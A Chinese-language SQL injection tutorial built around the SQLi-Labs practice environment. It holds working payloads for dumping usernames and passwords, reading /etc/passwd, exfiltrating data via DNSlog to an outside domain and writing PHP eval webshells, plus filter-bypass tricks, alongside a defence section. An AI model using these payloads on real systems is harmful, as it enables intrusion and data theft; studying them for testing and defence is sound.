《Web安全》01. SQL 注入
本系列侧重方法论,各工具只是实现目标的载体。
命令与工具只做简单介绍,其使用另见《软件工具录》。
1:漏洞简介
SQL 注入比较复杂,对不同数据库类型、提交方法、数据类型等有不同的攻击手段。
SQL 注入不同数据库语法有少量区别,思路都差不多,文章以 MySQL 为例。
1.1:漏洞原理
SQL 注入:在数据前后端交互中,对用户可控的数据没有做严格的判断,导致数据被拼接到 SQL 语句中,被当作 SQL 语句的一部分进行执行。
1.2:危害
漏洞危害:
- 任意读取数据库中的信息
- 任意修改或删除数据库中的数据
- 读取系统文件信息
- 写入恶意文件,如 Webshell
- 提权
1.3:利用条件
- 无版本限制
- 数据可被攻击者操控且过滤不严格
- 数据被拼接到 SQL 语句进行执行
- 部分攻击需要相应的数据库用户权限
1.4:相关底层源码
java.sql.Statement
- 用于执行静态 SQL 语句,通常通过字符串拼接构造 SQL 查询
- 如果没有对用户输入进行过滤和转义,会造成 SQL 注入
1 | String username = "user' order by 3; -- 233"; // 用户输入 |
java.sql.PreparedStatement
- 用于执行预编译的 SQL 语句,使用占位符【
?
】 - 会自动处理输入的特殊字符,有效地防止 SQL 注入
- 在执行同一 SQL 语句多次时,性能更好
1 | String username = "user' order by 3; -- 233"; // 用户输入 |
Java:MyBatis
- 一个持久层框架,支持通过 XML 或注解的方式映射 SQL 语句
#{}
:表示预编译的参数,可以有效防止 SQL 注入${}
:用于简单替换,可能导致 SQL 注入风险
1 | // 使用注解 |
1 | <!-- 使用 XML 映射 --> |
PHP: mysql_query()
- 用于执行 SQL 查询的函数,不支持预编译
1 | $username = $_GET['username']; // 用户输入 |
PHP: prepare()
- 用于创建一个预编译的 SQL 语句
1 | $username = $_GET['username']; // 用户输入 |
2:注入点
注入点正常情况下是为用户提供的与数据库交互的接口,用于处理数据的查询、插入、更新或删除等操作。
常见注入点:
- 用户登录、注册、修改个人信息的地方
- 搜索与排序:应用根据搜索条件构造 SQL 查询
- 留言板
3:漏洞类型
基于数据类型分类:
- 数字型注入
- 字符型注入
基于注入方法分类:
- 联合注入
- 布尔盲注
- 时间盲注
- 报错注入
- 堆叠注入
- 二次注入
基于 SQL 操作分类:
insert
注入(留言、注册中易出现)delete
注入(留言、删除操作中易出现)update
注入(更新、数据同步中易出现)select
注入
4:验证 & 利用
4.1:代码基础
- 使用 MySQL 自带函数获取信息:
1 | # 查看数据库版本 |
- 利用
information_schema
数据库。
在 MySQL 5.0 以上版本存在
information_schema
数据库,记录着所有元数据。information_schema
本身是一个虚拟数据库。
information_schema.tables
:记录数据库中所有表的元数据:
table_name
:表名table_schema
:所属数据库
information_schema.columns
:记录数据库中所有表的列(字段)信息的元数据。
column_name
:列名table_name
:所属表名table_schema
:所属数据库
1 | # 查看当前数据库的所有表 |
关于
information_schema.columns
与information_schema.tables
:
- 本质上是视图,因为它们是从数据库的内部结构中动态生成信息。
- 实际用的时候把它们理解成表就行。
- 其他辅助函数
group_concat()
:将所有数据合并成一个单一的字符串,自动以【,
】分割。concat()
:将数据分别合并成一个字符串,得到多个结果。
1 | # 将数据合并成一个单一的字符串。 |
length(string)
:计算字符长度。substr(string, pos, n)
:从 pos 处开始截取 n 个字符。pos 从 1 开始计数。ascii(s)
:计算 s 的 ASCII 值。if(condition, value_if_true, value_if_false)
:条件判断。sleep(n)
:暂停执行 n 秒。floor(num)
:返回小于或等于 num 的最大整数,即向下取整。count()
:统计表中行的数量。rand(seed)
:用于生成一个0到1之间的随机浮点数。可不指定 seed。limit <pos>,<n>
:从 pos 行返回 n 行数据。pos 从 0 开始计数,可省略。limit <n> offset <pos>
:同上。
1 | select length((database())); |
4.1.1:示例
以 SQLi-Lab 的 security 数据库为例。
1 | mysql> use security; |
1 | mysql> select version(); |
1 | mysql> select table_name,table_schema from information_schema.tables where table_schema=database(); |
1 | mysql> select group_concat(1, ', ', 1); |
4.2:漏洞验证
判断方式:
- 拼接单引号【
'
】、双引号【"
】或其他特殊字符,看是否会触发错误或异常
满足以下条件,则漏洞存在(不同情况 payload 不同):
- 在传递的参数后拼接
and 1=1
,回显正常 - 在传递的参数后拼接
and 1=2
,回显异常
4.2.1:示例
以 SQLi-Labs Less-2 为例。
正常查询,回显正常:
分别拼接单引号与双引号,均回显异常。
拼接 and 1=1
,回显正常:
拼接 and 1=2
,回显异常:
说明漏洞为数字型注入。
4.2.2:示例 2
以 SQLi-Labs Less-1 为例。
正常查询,回显正常:
插入双引号,回显正常。
插入单引号,回显异常。
构造 payload:?id=3' and 1=1 %23
:回显正常。?id=3' and 1=2 %23
:回显异常。
说明漏洞为字符型注入。
4.2.3:补充
MySQL 注释符如下:
1 | # 注释 |
#
在通过 GET 传递时,需 URL 编码为 %23
--
在通过 GET 传递时,写作 --+
,+
会自动转为空格。为防止传递时解码导致 +
丢失,可以随便加些字符,如 --+233
4.3:联合注入
适用场景:
- 对查询的数据有回显
- 只对
select
功能有效。因为union
操作符用于合并select
查询的结果集。
漏洞利用:
- 判断当前表有多少个字段(多少列)
?id=-3 order by 4
- 判断回显位
?id=-3 union select 1,2,3
- 查看版本号和当前数据库名
- 查看数据库里的所有表(爆表)
- 查看某张表的所有字段(爆字段)
- 查询敏感信息
4.3.1:示例
以 SQLi-Labs Less-1 为例。
- 要使用联合查询,首先需要判断当前查询的这张表有多少个字段
?id=2' order by 3 --+233
:回显正常。?id=2' order by 4 --+233
:回显异常。
说明该表有 3 个字段。
- 判断回显位,看该表哪两个列的数据作为返回显示
为防止正常查询的数据占位,使用一个不存在的 id 查找。
?id=-2' union select 1,2,3 --+233
:回显位为 2 和 3。
- 查看版本号和当前数据库名
?id=-2' union select 1,database(),version() --+233
:
- 查看数据库里的所有表(爆表)
?id=-2' union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema=database() --+233
- 查看某张表的所有字段(爆字段)
猜测 users 表包含敏感信息。
?id=-2' union select 1, group_concat(column_name), 3 from information_schema.columns where table_schema=database() and table_name='users' --+233
- 查询敏感信息
?id=-2' union select 1,group_concat(username, ':', password),3 from users --+233
4.4:布尔盲注
适用场景:
- 对错误和正确信息有回显
漏洞利用:
- 判断数据库长度(可跳过)
?id=1' and length((database()))>8 --+233
- 逐个截取字符串并通过 ASCII 码比较来得出数据库名
?id=1' and ascii(substr((database()), 1, 1))>115 --+233
- 以 2 步骤查看数据库里的所有表(爆表)
- 以 2 步骤查看某张表的所有字段(爆字段)
- 以 2 步骤查询敏感信息
4.4.1:示例
以 SQLi-Labs Less-5 为例。
?id=3
?id=-3
页面只对错误和正确信息有回显。
- 判断数据库长度(可跳过)
ASCII 码中,算上空格,从 32 到 126 共 95 个可见字符。
若ascii(substr())
截取超过长度,返回 0。所以可跳过判断长度这一步。
?id=3' and length(database())>8 --+233
- 逐个截取字符串并通过 ASCII 码比较来得出数据库名
?id=3' and ascii(substr(database(), 1, 1))>115 --+233
?id=3' and ascii(substr(database(), 2, 1))>101 --+233
- 逐个截取字符串并通过 ASCII 码比较来得出表名
?id=3' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>=101--+233
- 逐个截取字符串并通过 ASCII 码比较来得出字段名
?id=3' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>=105 --+233
- 查询敏感信息
?id=3' and ascii(substr((select group_concat(username,':',password) from users),1,1))>=68 --+233
4.4.2:Python 脚本
布尔盲注需要一个一个判断字符。对于手工注入来说需要花费大量时间。
可以编写一个 python 脚本来进行半自动化操作。
1 | import requests |
4.4.3:补充
ASCII 码中,算上空格,从 32 到 126 共 95 个可见字符。
若 ascii(substr())
截取超过长度,返回 0。所以可跳过判断长度这一步。
4.5:时间盲注
适用场景:
- 无任何回显
漏洞利用:
- 逐个截取字符串并通过 ASCII 码比较,根据是否延时来得出数据库名
?id=1' and if(ascii(substr(database(),1,1))=115, sleep(3), 1) --+233
- 以 1 步骤查看数据库里的所有表(爆表)
- 以 1 步骤查看某张表的所有字段(爆字段)
- 以 1 步骤查询敏感信息
4.5.1:示例
以 SQLi-Labs Less-9 为例。
无论输入什么值,页面都无回显
- 逐个截取字符串并通过 ASCII 码比较,根据是否延时来得出数据库名
?id=1' and if(ascii(substr(database(),1,1))=115, sleep(3), 1) --+223
?id=1' and if(ascii(substr(database(),2,1))=115, sleep(3), 1) --+223
- 逐个截取字符串并通过 ASCII 码比较,根据是否延时来得出数据库里的所有表(爆表)
?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13, sleep(3), 1) --+223
- 逐个截取字符串并通过 ASCII 码比较,根据是否延时来得出某张表的所有字段(爆字段)
?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99, sleep(3), 1) --+223
- 逐个截取字符串并通过 ASCII 码比较,根据是否延时来得出敏感信息
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50, sleep(3), 1) --+223
4.5.2:Python 脚本
时间盲注需要一个一个判断字符。对于手工注入来说需要花费大量时间。
可以编写一个 python 脚本来进行半自动化操作。
1 | ''' |
4.6:报错注入
适用场景:
- 对错误和正确信息有回显
- 对
insert
、delete
、update
、select
功能均有效。
漏洞利用:
- 通过报错查看数据库版本与数据库名
- 通过报错查看表名
- 通过报错查看字段名
- 通过报错查看敏感信息
- MySQL 数据库不支持对同一张表同时进行更改(
insert
、delete
、update
)和查询(select
)操作 - 所以以上情况在爆同一张表的敏感信息时需要借助中间表,也就是子查询
- 需要借助
limit
,这样一次就只能查询一条信息
- MySQL 数据库不支持对同一张表同时进行更改(
报错注入根据使用的函数不同可以分为三种方法。
4.6.1:方法 1
方法:extractvalue()
报错注入。
原理:传入 extractvalue() 的数据无效或格式不正确,导致报错。又因为报错前 concat() 中的 SQL 语句或函数已经被执行,所以被抛出的主键是 SQL 语句或函数执行后的结果。
漏洞利用:
1 | # 爆数据库版本与数据库名 |
函数介绍:
extractvalue(XML_document, XPath_string)
:用于从 XML_document 中提取符合 XPATH_string 值的 SQL 函数。
XML_document
:String 格式,为 XML 文档对象的名称。XPath_string
:Xpath 格式的字符串,需要了解 Xpath 语法。
4.6.2:方法 2
方法:updatexml()
报错注入。
原理:传入 updatexml() 的数据无效或格式不正确,导致报错。又因为报错前 concat() 中的 SQL 语句或函数已经被执行,所以被抛出的主键是 SQL 语句或函数执行后的结果。
漏洞利用:
1 | # 爆数据库版本与数据库名 |
函数介绍:
updatexml(XML_document, XPath_string, new_value)
:改变 XML_document 中符合 XPATH_string 的值,用于在 XML 类型的数据中更新元素的值。
XML_document
:String 格式,为 XML 文档对象的名称。XPath_string
:Xpath 格式的字符串,需要了解 Xpath 语法。new_value
:String 格式,替换查找到的符合条件的数据。
4.6.3:方法 3
方法:group by
结合 floor()
与 rand()
报错注入。
原理:group by 在向临时表插入数据时,rand() 多次计算导致插入临时表时主键重复,从而报错。又因为报错前 concat() 中的 SQL 语句或函数已经被执行,所以被抛出的主键是 SQL 语句或函数执行后的结果。
漏洞利用:
1 | # 爆数据库版本与数据库名 |
4.6.4:示例
以 SQLi-Labs Less-5 为例。
- 爆数据库版本与数据库名
方法一:?id=1' and extractvalue(1,concat(0x7e,version(),0x7e,database(),0x7e))--+233
方法一:?id=1' and updatexml(1,concat(0x7e,version(),0x7e,database(),0x7e),1)--+233
方法一:?id=1' and (select count(*) from information_schema.tables group by concat(0x7e,version(),0x7e,database(),0x7e,floor(rand(0)*2)))--+233
剩下的过程见以上不同方法,不再赘述。
4.7:堆叠注入
原理:在 SQL 中,分号【;
】用来表示一条 SQL 语句的结束。在【;
】结束一个 SQL 语句后继续构造下一条语句,就造成了堆叠注入。
适用场景:
- 只有当调用数据库的函数 API 支持执行多条 SQL 语句时才能够使用
漏洞利用:
- 既然是直接拼接一条 SQL 语句,可以尝试:
- 查询敏感信息
- 读取、写入系统文件
- 将用户插入数据库,实现登录
一个简单的堆叠注入原理示例:
1 | mysql> use security; |
4.8:二次注入
原理:主要分两步,第一步:插入恶意数据;第二步:引用恶意数据。
- 进行数据库插入操作时,只对数据中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容
- 在将数据存入数据库之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出恶意数据并拼接,没有进行检验和处理。造成 SQL 二次注入
二次注入一般用于白盒测试,黑盒测试就算有注入点也很难攻击。
4.8.1:示例
以 SQLi-Labs Less-24 为例.
- 点击注册,注册
admin'#
这样一个用户,密码随意
注册后看下数据库中的数据:
- 登录进
admin'#
用户,可以修改密码
- 此时点击修改
admin'#
用户的密码就能把admin
用户的密码修改
4.9:系统文件读取 & 写入
适用场景:
- MySQL
secure_file_priv
配置不严格 - 文件大小小于 MySQL
max_allowed_packet
配置 - 能够提供文件的绝对路径,且有相应系统用户与数据库用户权限
- 如果是 Linux,要关闭 SELinux 机制
漏洞利用:
- 读取敏感文件:
select load_file('/etc/passwd');
- 写入文件:
select '<?php phpinfo();?>' into outfile '/tmp/test.php';
select '123' into dumpfile '/tmp/test.txt';
4.9.1:补充
MySQL secure_file_priv 配置:
MySQL secure_file_priv
是一个全局变量,用于限制系统文件写入、读取等操作的文件操作目录。
是一个静态配置变量,只能在 MySQL 的配置文件
my.cnf
或my.ini
更改,然后通过重启 MySQL 服务使其生效。
MySQL 查看 secure_file_priv
配置:show variables like "%secure_file_priv%";
- 若配置项为
NULL
:不可操作 - 若配置项为
""
:可操作任意目录 - 若配置项为某个目录:仅可对此目录进行操作
SELinux:
SELinux(Security-Enhanced Linux)是 Linux 系统增强安全性的机制。
通过强制访问控制(Mandatory Access Control,MAC)模型来限制进程和用户对系统资源的访问。
超越了传统的基于用户身份的访问控制(Discretionary Access Control,DAC)模型。
查看是否启用了 SELinux:
方法 1:查看 SELinux 状态:sestatus
方法 2:显示 SELinux 当前的运行模式:getenforce
Enforcing: 表示 SELinux 正在强制执行策略。
Permissive: 表示 SELinux 处于许可模式。
Disabled: 表示 SELinux 已关闭。
outfile
和dumpfile
在 MySQL 3.23.55 版本之后,不再可以覆盖文件,只能创建新文件。
outfile
与 dumpfile
的区别:
outfile
:
- 适用于导出多行文本数据
- 自动添加行终止符、列分隔符,并且可以指定这些符号
- 支持多行导出
dumpfile
:
- 能够导出单行的二进制数据
- 不添加行终止符或列分隔符
- 只能导出单行结果
例如,如果某个表保存了文件的二进制数据,可以如下导出:
1 | SELECT data_column INTO DUMPFILE '/tmp/test.exe' FROM data_table WHERE id = 1; |
一个简单示例:
5:防护绕过
5.1:绕过空格过滤
如下语句需要空格正确分割关键字才能正常执行:select username, password from users where id=1;
绕过方法:
- 将空格 URL 编码(
%20
或+
) - 使用 tab 缩进(
%09
)代替空格 - 使用回车(
%0D
)换行(%0A
)代替空格 - 使用括号包裹来绕过
select(username)from(users)where(id=1);
- 使用多行注释
/**/
绕过:select/**/username,password/**/from/**/users/**/where/**/id=1;
5.2:绕过引号过滤
MySQL where
后面的查询条件为字符串时,需要用双引号【"
】或单引号【'
】包裹。如:select username,password from users where username="Dumb";
绕过方法:
- 双引号【
"
】与单引号【'
】相互替换 - 将查询条件转为 16 进制编码
select username,password from users where username=0x44756d62;
- 宽字节绕过
简单示例:
5.2.1:宽字节注入
利用 MySQL 的一个特性,使用宽字节(如 GBK)编码时,会认为两个字节是一个字符。
为了过滤用户输入的一些数据,程序会对特殊的字符加上反斜杠【\
】进行转义。例如 MySQL 中的 addslashes()
。
单引号【
'
】(0x27
或%27
)
反斜杠【\
】(0x5C
或%5C
)
比如输入单引号【'
】时,调用转义函数处理为【\'
】。
MySQL 数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字。
而当前一个字节大于 128 时(比如 %DF
),才到汉字的范围。
所以在引号前加上 %DF
即可绕过转义,将引号逃逸出来。
数据转化过程:
1 | %DF' --> %DF\' --> %DF%5C%27 --> 運' |
5.2.2:补充
单字节字符集:所有的字符都使用一个字节来表示,比如 ASCII 编码。
宽字节字符集:相对于单字节而言,实际上只有两字节。比如 GB2312、GBK 等。
多字节字符集:一种可变长度的编码方案。例如 UTF-8,使用 1 ~ 4 个字节表示一个符号。
5.3:绕过逗号过滤
绕过方法:
对于 substr(string, pos, n)
,可以使用 from pos for n
绕过。
select substr(database(),1,1);
select substr(database() from 1 for 1);
对于联合查询,可以使用 join
连接查询绕过。
select username,password from users where id=1 union select database(),user();
select username,password from users where id=1 union select * from (select database())a join (select user())b;
对于 limit <pos>,<n>
,可以使用 limit <n> offset <pos>
绕过。
select * from users limit 0,1;
select * from users limit 1 offset 0;
示例:
5.4:绕过逻辑符过滤
绕过方法:
使用同功能的函数或符号进行替换:
&&
=and
||
=or
|#
=xor
!
=not
!=
=<>
5.5:绕过等号过滤
绕过方法:
借助 like
配合通配符 %
模糊查询绕过:
select * from users where username='Dumb';
select * from users where username like '%u%';
select * from users where username like '%%';
5.6:绕过比较符过滤
绕过方法:
大于号【>
】可用 greatest()
函数绕过。
大于号【<
】可用 least()
函数绕过。
select ascii(substr(database(), 1, 1))<116;
select least(ascii(substr(database(), 1, 1)),116);
select greatest(ascii(substr(database(), 1, 1)),116);
5.7:等函数替换
绕过方法:
当常用函数被拦截时,可以使用偏僻函数或者功能相同的其他函数。
对于 order by
,可以考虑使用 select ... into
绕过。
select username,password from users where id=1 order by 2;
select username,password from users where id=1 into @a,@b;
对于 substr(string, pos, n)
函数,可以用 mid(string, pos, n)
绕过。
select substr(database(), 1, 1);
select mid(database(), 1, 1);
5.7.1:补充
MySQL 中,select ... into
语法用于将查询结果存储到用户定义的变量中。into
后的变量数量必须与 select
返回的列数量匹配,否则会产生错误。
5.8:其他
浮点数绕过:
以下命令都能正常执行:
1 | select username,password from users where id=1 union select 1,2; |
添加库名绕过:
有些拦截规则不会拦截 库名.表名
这种语法格式。
select username,password from users;
select username,password from security.users;
参数拆分绕过:
某些情况下不同参数最后都拼接到同一条 SQL 语句中。可以将注入语句分割插入不同参数绕过拦截。
6:防范方法
- 使用数据库或编程语言提供的参数化查询接口,使用预编译
- 为数据库用户分配最小必需的权限
- 对特殊字符进行转义或编码处理
- 不要向用户显示详细的错误消息
- 对输入进行基于黑白名单的过滤
7:补充知识
7.1:MySQL 高权限用户权限获取
目前有以下方法能获取 MySQL 高权限用户权限:
- 程序使用了 MySQL 高权限用户运行
- MySQL 3306 端口弱口令爆破
- 网站的数据库配置文件中拿到用户明文密码信息
- 读取 MySQL 的用户 Hash 来解密
- MySQL 相关历史漏洞
- CVE-2012-2122 身份认证漏洞:知道用户名,多次输入错误的密码有几率成功登陆进数据库
7.2:MySQL DNSlog 利用
DNSlog 属于 OOB 攻击(Out-of-Band,带外攻击)。
原理:攻击者构造注入语句,让数据库把需要查询的数据和域名拼接起来,然后发生 DNS 查询,只要能获得 DNS 日志,就能获得数据。
需要有一个自己的域名,然后在域名商处配置一条 NS 记录,之后在 NS 服务器上获取 DNS 日志即可。
也可以直接借助现有的 DNSlog 平台。
适用场景:
- DNS 流量没有被阻断
- DNSlog 平台
- 能够使用
load_file()
等函数 - 仅对 Windows 目标有效
secure_file_priv
只限制本地文件的操作,所以对 DNSlog 攻击没有影响。
漏洞利用:
select load_file(concat(database(), '.fjhniutt.eyes.sh'));
7.3:MySQL 写 Webshell
7.3.1:方法 1
方法:通过 into outfile
或 into dumpfile
写入 Webshell。
select '<?php @eval($_POST[\'hello\']);?>' into outfile 'e:/T/test.php'
7.3.2:方法 2
方法:开启全局日志,修改日志文件路径与名称,作为服务器下的木马文件,执行 SQL 语句,记录到日志形成木马。
适用场景:
- 具有相应的数据库权限
- 能够提供网站绝对路径且有写入权限
漏洞利用:
- 查看全局日志配置
show variables like '%general%';
- 开启全局日志
set global general_log = on;
- 修改日志文件路径与名称
set global general_log_file = 'C:/WWW/test.php'
- 执行 SQL 语句,MySQL 会将执行的语句记录到日志文件中
select '<?php @eval($_POST[\'hello\']);?>';
7.3.3:方法 3
方法:开启慢查询日志,修改日志文件路径与名称,作为服务器下的木马文件,执行 SQL 语句,记录到日志形成木马。
适用场景:
- 具有相应的数据库权限
- 能够提供网站绝对路径且有写入权限
漏洞利用:
- 查看慢查询日志配置
show variables like '%slow_query_log%';
- 开启慢查询日志
set global slow_query_log=1;
- 修改日志文件路径与名称
set global slow_query_log_file='C:/WWW/test.php'
- 执行 SQL 语句,MySQL 会将执行的语句记录到日志文件中
select '<?php @eval($_POST[\'hello\']);?>' or sleep(11);
只有当查询时间超过配置时间时(默认 10 秒)才会记录在日志中。
可以使用如下语句查看配置时间:show global variables like '%long_query_time%';
7.4:跨库攻击
常见的数据库与数据库用户的对应关系:
1 | 数据库用户A - 数据库A - 网站A --> 表名 --> 列名 --> 数据 |
这样做的好处是一个用户对应一个库,网站之间的用户权限与数据互不干扰。(这是最基础的数据库模型)
跨库查询的前提条件:必须是高权限的数据库用户。
1 | select username,password from security.users |
7.5:其他问题
通过转义字符防御时,如果遇到数据库的列名或是表名本身就带着特殊字符,应该怎么做?
- 字段名或者表名包含特殊符号不影响,因为防止注入的是传入的字段值
- 如果真的需要前端传入表名,把这些特定表名筛选出来,校验白名单;或者创建字典替换
- 在风险可控的情况下,把表名或列名改了。如果风险不可控,那就用上面的方法
8:其他
8.1:相关工具
SQLmap:
8.2:相关平台
SQLi-Labs:
DNSlog 平台:
8.3:参考资料
《Mysql利用姿势小结》:
https://www.freebuf.com/articles/web/243136.html
《SQL注入时?id=1 and 1=1和?id=1 and 1=2的功能》:
https://blog.csdn.net/m0_51756263/article/details/125692951
《渗透测试-SQL注入之宽字节注入》:
https://blog.csdn.net/lza20001103/article/details/124286601
《sql注入常见绕过方法》:
https://blog.csdn.net/ljlrookiebird/article/details/132689961
《sql注入中的一些绕过方法》:
https://uuzdaisuki.com/2018/04/01/sql%E6%B3%A8%E5%85%A5%E4%B8%AD%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%95%E8%BF%87%E6%96%B9%E6%B3%95/
《sql注入绕WAF的N种姿势》:
https://www.anquanke.com/post/id/268428
《利用DNSlog平台将SQL盲注变成回显注入》:
https://www.cnblogs.com/CVE-Lemon/p/17806229.html
《Dnslog盲注》:
https://www.jianshu.com/p/d6788f57dba5
《通过MySQL写入webshell的几种方式》:
https://blog.csdn.net/xhy18634297976/article/details/119486812
《12种报错注入+万能语句》:
https://www.jianshu.com/p/bc35f8dd4f7c
《extractvalue、updatexml报错原理》:
https://developer.aliyun.com/article/692723
《Order by排序注入方法小总结》:
https://www.jianshu.com/p/fcae21926e5c
《sql 注入转义防御时,数据库列名或表名本身就带着特殊字符》:
https://www.zhihu.com/question/559033256/answer/2713708372
《sql 注入转义防御时,数据库列名或表名本身就带着特殊字符》:
https://ask.csdn.net/questions/7804983
《sqlmap超详细笔记》:
https://www.cnblogs.com/bmjoker/p/9326258.html
8.4:暂未整理
Access 注入
Access,关系型数据库。
结构:
1 | Access -> 表名 -> 列名 -> 数据 |
注入方式:
union 注入、偏移注入等。
偏移注入:解决 Access 列名获取不到的情况。
查看登陆框源代码的表单值或观察 URL 特征等,也可以针对表或列获取不到的情况。
《Access偏移注入与原理》:
https://www.fujieace.com/penetration-test/access-offset-injection.html
Sql Server 注入
Microsoft SQL Server,也叫 MSSQL,关系型数据库。
《MSSQL注入》:
https://www.cnblogs.com/xishaonian/p/6173644.html
PostgreSQL 注入
PostgreSQL,关系型数据库。
《PostGresql 注入知识汇总》:
https://www.cnblogs.com/yilishazi/p/14710349.html
Oracle 注入
Oracle,关系型数据库。
《【实战】Oracle注入总结》:
https://www.cnblogs.com/peterpan0707007/p/8242119.html
MongoDB 注入
MongoDB 是一个基于分布式文件存储的数据库,属于非关系型数据库。
- 介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。
- 数据传输采用 JSON 传输。
- tojson 函数可以输出 json 数据。
一个针对 MongoDB 注入的工具:NoSQLAttack
SQLserver 写 Webshell
必备条件:
- 有相应的权限
- 获得Web目录的绝对路径
使用 xp_cmdshell 写入 WebShell。
使用差异备份写入 WebShell。
使用 log 备份写入WebShell。
《三大数据库写入WebShell的姿势总结》:
https://www.freebuf.com/articles/web/246167.html
《MSSQL GetShell方法》:
https://xz.aliyun.com/t/8603
《安装SQL Server详细教程》:
https://blog.csdn.net/weixin_59249304/article/details/127333755
Oracle 写 Webshell
必备条件
- 有DBA权限
- 获得Web目录的绝对路径
使用文件访问包方法写入Webshell
《三大数据库写入WebShell的姿势总结》:
https://www.freebuf.com/articles/web/246167.html
淡云孤雁远,寒日暮天红。
——《临江仙》(五代)徐昌图